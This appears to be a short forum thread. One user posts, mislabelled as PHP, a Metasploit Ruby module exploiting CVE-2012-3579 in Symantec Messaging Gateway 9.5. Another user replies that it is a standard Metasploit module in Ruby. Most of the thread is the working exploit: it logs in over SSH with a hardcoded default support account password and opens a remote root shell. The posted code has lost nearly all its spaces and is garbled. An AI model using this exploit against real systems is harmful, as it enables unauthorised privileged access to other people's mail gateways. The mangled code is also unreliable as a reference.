[Stricker]

PHP Code:

##
#ThisfileispartoftheMetasploit
Frameworkandmaybesubjectto
#redistributionandcommercial
restrictions.Pleaseseethe
Metasploit
#Frameworkwebsiteformore
informationonlicensingandtermsof
use.
# http://metasploit.com/framework/
##

require'msf/core'
require'net/ssh'
classMetasploit3<
Msf::Exploit::Remote
Rank=ExcellentRanking
includeMsf::Auxiliary::CommandShell
definitialize(info={})
super(update_info(info,
'Name' =>"Symantec
MessagingGateway9.5DefaultSSH
PasswordVulnerability",
'Description' =>%q{
Thismoduleexploitsa
defaultmisconfigurationflawon
SymantecMessagingGateway.
The'support'userhasaknown
defaultpassword,whichcanbeusedto
logintothe
SSHservice,andgain
privilegedaccessfromremote.
},
'License' =>MSF_LICENSE,
'Author' =>
[
'StefanViehbock',
#Originaldiscovery
'BenWilliams',
#Reportingthevuln+coordinated
release
'sinn3r'
#Metasploit
],
'References' =>
[
['CVE', '2012-3579'],
['OSVDB','85028'],
['BID', '55143'],
['URL', 'https://www.sec-
consult.com/
files/20120829-0_Symantec_Mail_Gateway_Support_Backdoor.txt'],
['URL', 'http://
www.symantec.com/security_response/
securityupdates/detail.jsp?
fid=security_advisory&pvid=security_advisory&suid=20120827_00']
],
'DefaultOptions' =>
{
'ExitFunction'=>"none"
},
'Payload' =>
{
'Compat'=>{
'PayloadType' =>
'cmd_interact',
'ConnectionType'=>'find'
}
},
'Platform' =>'unix',
'Arch' =>ARCH_CMD,
'Targets' =>
[
['SymantecMessagingGateway
9.5',{}],
],
'Privileged' =>true,
#TimestamponSymantecadvisory
#ButwasfoundonJun26,2012
'DisclosureDate'=>"Aug27
2012",
'DefaultTarget' =>0))
register_options(
[
Opt::RHOST(),
Opt::RPORT(22)
],self.class
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG',[
false,'EnableSSHdebuggingoutput
(Extremeverbosity!)',false]),
OptInt.new('SSH_TIMEOUT',[
false,'Specifythemaximumtimeto
negotiateaSSHsession',30])
]
)
end
defrhost
datastore['RHOST']
end
defrport
datastore['RPORT']
end
defdo_login(user,pass)
opts={
:auth_methods=>['password',
'keyboard-interactive'],
:msframework =>framework,
:msfmodule =>self,
:port =>rport,
:disable_agent=>true,
:config=>false,
:password=>pass,
:record_auth_info=>true,
:proxies=>datastore['Proxies']
}
opts.merge!(:verbose=>:debug)
ifdatastore['SSH_DEBUG']
begin
ssh=nil
::Timeout.timeout(datastore
['SSH_TIMEOUT'])do
ssh=Net::SSH.start(rhost,
user,opts)
end
rescueRex::ConnectionError,
Rex::AddressInUse
return
rescue
Net::SSH::Disconnect,::EOFError
print_error"#{rhost}:#{rport}
SSH-Disconnectedduringnegotiation"
return
rescue::Timeout::Error
print_error"#{rhost}:#{rport}
SSH-Timedoutduringnegotiation"
return
rescue
Net::SSH::AuthenticationFailed
print_error"#{rhost}:#{rport}
SSH-Failedauthentication"
rescueNet::SSH::Exception=>e
print_error"#{rhost}:#{rport}
SSHError:#{e.class}:#{e.message}"
return
end
ifssh
conn=
Net::SSH::CommandStream.new(ssh,'/
bin/sh',true)
ssh=nil
returnconn
end
returnnil
end
defexploit
user='support'
pass='symantec'
print_status("#{rhost}:#{rport}-
Attempttologin...")
conn=do_login(user,pass)
ifconn
print_good("#{rhost}:#{rport}-
LoginSuccessfulwith'#{user}:#
{pass}'")
handler(conn.lsock)
end
end
en d 


[chmod]

This is just a metasploit exploit anyone who has the framework (which is required to run it) will already have this also its written in ruby not PHP

[Stricker]

Ok bro,thanks for info...